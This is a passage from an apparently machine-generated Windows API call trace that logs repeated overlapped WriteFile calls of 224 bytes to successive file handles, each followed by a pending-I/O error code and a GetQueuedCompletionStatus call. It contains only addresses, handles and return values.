hFile=0x4b0, lpBuffer=0x5397b08, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5397ae0 | out: lpBuffer=0x5397b08, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5397ae0) returned 0x0 [0113.835] RtlGetLastWin32Error () returned 0x3e5 [0113.835] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.835] WriteFile (in: hFile=0x4b4, lpBuffer=0x53ad868, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53ad840 | out: lpBuffer=0x53ad868, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53ad840) returned 0x0 [0113.835] RtlGetLastWin32Error () returned 0x3e5 [0113.835] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.835] WriteFile (in: hFile=0x4b8, lpBuffer=0x53c46b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53c4688 | out: lpBuffer=0x53c46b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53c4688) returned 0x0 [0113.835] RtlGetLastWin32Error () returned 0x3e5 [0113.836] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.836] WriteFile (in: hFile=0x4bc, lpBuffer=0x53dd348, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53dd320 | out: lpBuffer=0x53dd348, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53dd320) returned 0x0 [0113.836] RtlGetLastWin32Error () returned 0x3e5 [0113.836] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.836] WriteFile (in: hFile=0x4c0, lpBuffer=0x53e2ad8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53e2ab0 | out: lpBuffer=0x53e2ad8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53e2ab0) returned 0x0 [0113.836] RtlGetLastWin32Error () returned 0x3e5 [0113.836] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.836] WriteFile (in: hFile=0x4c4, lpBuffer=0x388fd50, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388fd28 | out: lpBuffer=0x388fd50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388fd28) returned 0x0 [0113.836] RtlGetLastWin32Error () returned 0x3e5 [0113.836] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.836] WriteFile (in: hFile=0x340, lpBuffer=0x53eb3f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53eb3d0 | out: lpBuffer=0x53eb3f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53eb3d0) returned 0x0 [0113.836] RtlGetLastWin32Error () returned 0x3e5 [0113.836] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.836] WriteFile (in: hFile=0x4c8, lpBuffer=0x53fe290, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53fe268 | out: lpBuffer=0x53fe290, lpNumberOfBytesWritten=0x0, lpOverlapped=0x53fe268) returned 0x0 [0113.837] RtlGetLastWin32Error () returned 0x3e5 [0113.837] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.837] WriteFile (in: hFile=0x4cc, lpBuffer=0x5408790, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5408768 | out: lpBuffer=0x5408790, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5408768) returned 0x0 [0113.837] RtlGetLastWin32Error () returned 0x3e5 [0113.837] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.837] WriteFile (in: hFile=0x4d0, lpBuffer=0x5418d80, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5418d58 | out: lpBuffer=0x5418d80, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5418d58) returned 0x0 [0113.837] RtlGetLastWin32Error () returned 0x3e5 [0113.837] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.837] WriteFile (in: hFile=0x4d4, lpBuffer=0x542bcb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x542bc90 | out: lpBuffer=0x542bcb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x542bc90) returned 0x0 [0113.837] RtlGetLastWin32Error () returned 0x3e5 [0113.837] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.837] WriteFile (in: hFile=0x4d8, lpBuffer=0x5442a70, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5442a48 | out: lpBuffer=0x5442a70, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5442a48) returned 0x0 [0113.838] RtlGetLastWin32Error () returned 0x3e5 [0113.838] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.838] WriteFile (in: hFile=0x4dc, lpBuffer=0x39780c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39780a0 | out: lpBuffer=0x39780c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39780a0) returned 0x0 [0113.838] RtlGetLastWin32Error () returned 0x3e5 [0113.838] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.838] WriteFile (in: hFile=0x4e0, lpBuffer=0x5459c38, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5459c10 | out: lpBuffer=0x5459c38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5459c10) returned 0x0 [0113.838] RtlGetLastWin32Error () returned 0x3e5 [0113.838] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.838] WriteFile (in: hFile=0x4e4, lpBuffer=0x546a548, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x546a520 | out: lpBuffer=0x546a548, lpNumberOfBytesWritten=0x0, lpOverlapped=0x546a520) returned 0x0 [0113.839] RtlGetLastWin32Error () returned 0x3e5 [0113.839] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.839] WriteFile (in: hFile=0x4e8, lpBuffer=0x5475df0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5475dc8 | out: lpBuffer=0x5475df0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5475dc8) returned 0x0 [0113.839] RtlGetLastWin32Error () returned 0x3e5 [0113.839] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.839] WriteFile (in: hFile=0x4ec, lpBuffer=0x54827a8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5482780 | out: lpBuffer=0x54827a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5482780) returned 0x0 [0113.839] RtlGetLastWin32Error () returned 0x3e5 [0113.839] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.839] WriteFile (in: hFile=0x4f0, lpBuffer=0x5496290, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5496268 | out: lpBuffer=0x5496290, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5496268) returned 0x0 [0113.840] RtlGetLastWin32Error () returned 0x3e5 [0113.840] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.840] WriteFile (in: hFile=0x4f4, lpBuffer=0x549d100, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x549d0d8 | out: lpBuffer=0x549d100, lpNumberOfBytesWritten=0x0, lpOverlapped=0x549d0d8) returned 0x0 [0113.840] RtlGetLastWin32Error () returned 0x3e5 [0113.840] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.840] WriteFile (in: hFile=0x4f8, lpBuffer=0x54b3630, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b3608 | out: lpBuffer=0x54b3630, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b3608) returned 0x0 [0113.840] RtlGetLastWin32Error () returned 0x3e5 [0113.840] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.840] WriteFile (in: hFile=0x4fc, lpBuffer=0x54b7130, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b7108 | out: lpBuffer=0x54b7130, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54b7108) returned 0x0 [0113.840] RtlGetLastWin32Error () returned 0x3e5 [0113.840] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.840] WriteFile (in: hFile=0x500, lpBuffer=0x54ca3c0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54ca398 | out: lpBuffer=0x54ca3c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54ca398) returned 0x0 [0113.841] RtlGetLastWin32Error () returned 0x3e5 [0113.841] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.841] WriteFile (in: hFile=0x504, lpBuffer=0x54d2238, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54d2210 | out: lpBuffer=0x54d2238, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54d2210) returned 0x0 [0113.841] RtlGetLastWin32Error () returned 0x3e5 [0113.841] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.841] WriteFile (in: hFile=0x508, lpBuffer=0x54e31d0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54e31a8 | out: lpBuffer=0x54e31d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54e31a8) returned 0x0 [0113.841] RtlGetLastWin32Error () returned 0x3e5 [0113.841] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.841] WriteFile (in: hFile=0x50c, lpBuffer=0x54f8cb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54f8c90 | out: lpBuffer=0x54f8cb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x54f8c90) returned 0x0 [0113.841] RtlGetLastWin32Error () returned 0x3e5 [0113.841] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.841] WriteFile (in: hFile=0x510, lpBuffer=0x3979978, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3979950 | out: lpBuffer=0x3979978, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3979950) returned 0x0 [0113.842] RtlGetLastWin32Error () returned 0x3e5 [0113.842] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.842] WriteFile (in: hFile=0x514, lpBuffer=0x550d310, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x550d2e8 | out: lpBuffer=0x550d310, lpNumberOfBytesWritten=0x0, lpOverlapped=0x550d2e8) returned 0x0 [0113.842] RtlGetLastWin32Error () returned 0x3e5 [0113.842] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.842] WriteFile (in: hFile=0x518, lpBuffer=0x551f488, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x551f460 | out: lpBuffer=0x551f488, lpNumberOfBytesWritten=0x0, lpOverlapped=0x551f460) returned 0x0 [0113.842] RtlGetLastWin32Error () returned 0x3e5 [0113.842] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.842] WriteFile (in: hFile=0x51c, lpBuffer=0x55289c0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5528998 | out: lpBuffer=0x55289c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5528998) returned 0x0 [0113.843] RtlGetLastWin32Error () returned 0x3e5 [0113.843] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.843] WriteFile (in: hFile=0x520, lpBuffer=0x5534b08, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5534ae0 | out: lpBuffer=0x5534b08, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5534ae0) returned 0x0 [0113.843] RtlGetLastWin32Error () returned 0x3e5 [0113.843] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.843] WriteFile (in: hFile=0x524, lpBuffer=0x55445a8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5544580 | out: lpBuffer=0x55445a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5544580) returned 0x0 [0113.843] RtlGetLastWin32Error () returned 0x3e5 [0113.843] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.843] WriteFile (in: hFile=0x528, lpBuffer=0x555afa0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x555af78 | out: lpBuffer=0x555afa0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x555af78) returned 0x0 [0113.843] RtlGetLastWin32Error () returned 0x3e5 [0113.844] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.844] WriteFile (in: hFile=0x52c, lpBuffer=0x5570780, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5570758 | out: lpBuffer=0x5570780, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5570758) returned 0x0 [0113.844] RtlGetLastWin32Error () returned 0x3e5 [0113.844] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.844] WriteFile (in: hFile=0x530, lpBuffer=0x557f400, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x557f3d8 | out: lpBuffer=0x557f400, lpNumberOfBytesWritten=0x0, lpOverlapped=0x557f3d8) returned 0x0 [0113.844] RtlGetLastWin32Error () returned 0x3e5 [0113.844] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.845] WriteFile (in: hFile=0x534, lpBuffer=0x55894d8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55894b0 | out: lpBuffer=0x55894d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55894b0) returned 0x0 [0113.845] RtlGetLastWin32Error () returned 0x3e5 [0113.845] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.845] WriteFile (in: hFile=0x538, lpBuffer=0x558eb58, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x558eb30 | out: lpBuffer=0x558eb58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x558eb30) returned 0x0 [0113.845] RtlGetLastWin32Error () returned 0x3e5 [0113.845] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.845] WriteFile (in: hFile=0x53c, lpBuffer=0x559b6d0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x559b6a8 | out: lpBuffer=0x559b6d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x559b6a8) returned 0x0 [0113.845] RtlGetLastWin32Error () returned 0x3e5 [0113.845] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.846] WriteFile (in: hFile=0x540, lpBuffer=0x55ae138, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ae110 | out: lpBuffer=0x55ae138, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ae110) returned 0x0 [0113.846] RtlGetLastWin32Error () returned 0x3e5 [0113.846] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.846] WriteFile (in: hFile=0x544, lpBuffer=0x4531070, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4531048 | out: lpBuffer=0x4531070, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4531048) returned 0x0 [0113.846] RtlGetLastWin32Error () returned 0x3e5 [0113.846] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.846] WriteFile (in: hFile=0x548, lpBuffer=0x55b29f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b29d0 | out: lpBuffer=0x55b29f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b29d0) returned 0x0 [0113.846] RtlGetLastWin32Error () returned 0x3e5 [0113.846] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.846] WriteFile (in: hFile=0x54c, lpBuffer=0x55b8478, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b8450 | out: lpBuffer=0x55b8478, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55b8450) returned 0x0 [0113.846] RtlGetLastWin32Error () returned 0x3e5 [0113.846] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.847] WriteFile (in: hFile=0x550, lpBuffer=0x55bbf80, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55bbf58 | out: lpBuffer=0x55bbf80, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55bbf58) returned 0x0 [0113.847] RtlGetLastWin32Error () returned 0x3e5 [0113.847] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.847] WriteFile (in: hFile=0x554, lpBuffer=0x55d3280, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55d3258 | out: lpBuffer=0x55d3280, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55d3258) returned 0x0 [0113.847] RtlGetLastWin32Error () returned 0x3e5 [0113.847] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.847] WriteFile (in: hFile=0x558, lpBuffer=0x55df6b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55df688 | out: lpBuffer=0x55df6b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55df688) returned 0x0 [0113.847] RtlGetLastWin32Error () returned 0x3e5 [0113.847] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.847] WriteFile (in: hFile=0x55c, lpBuffer=0x55ee8d8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ee8b0 | out: lpBuffer=0x55ee8d8, 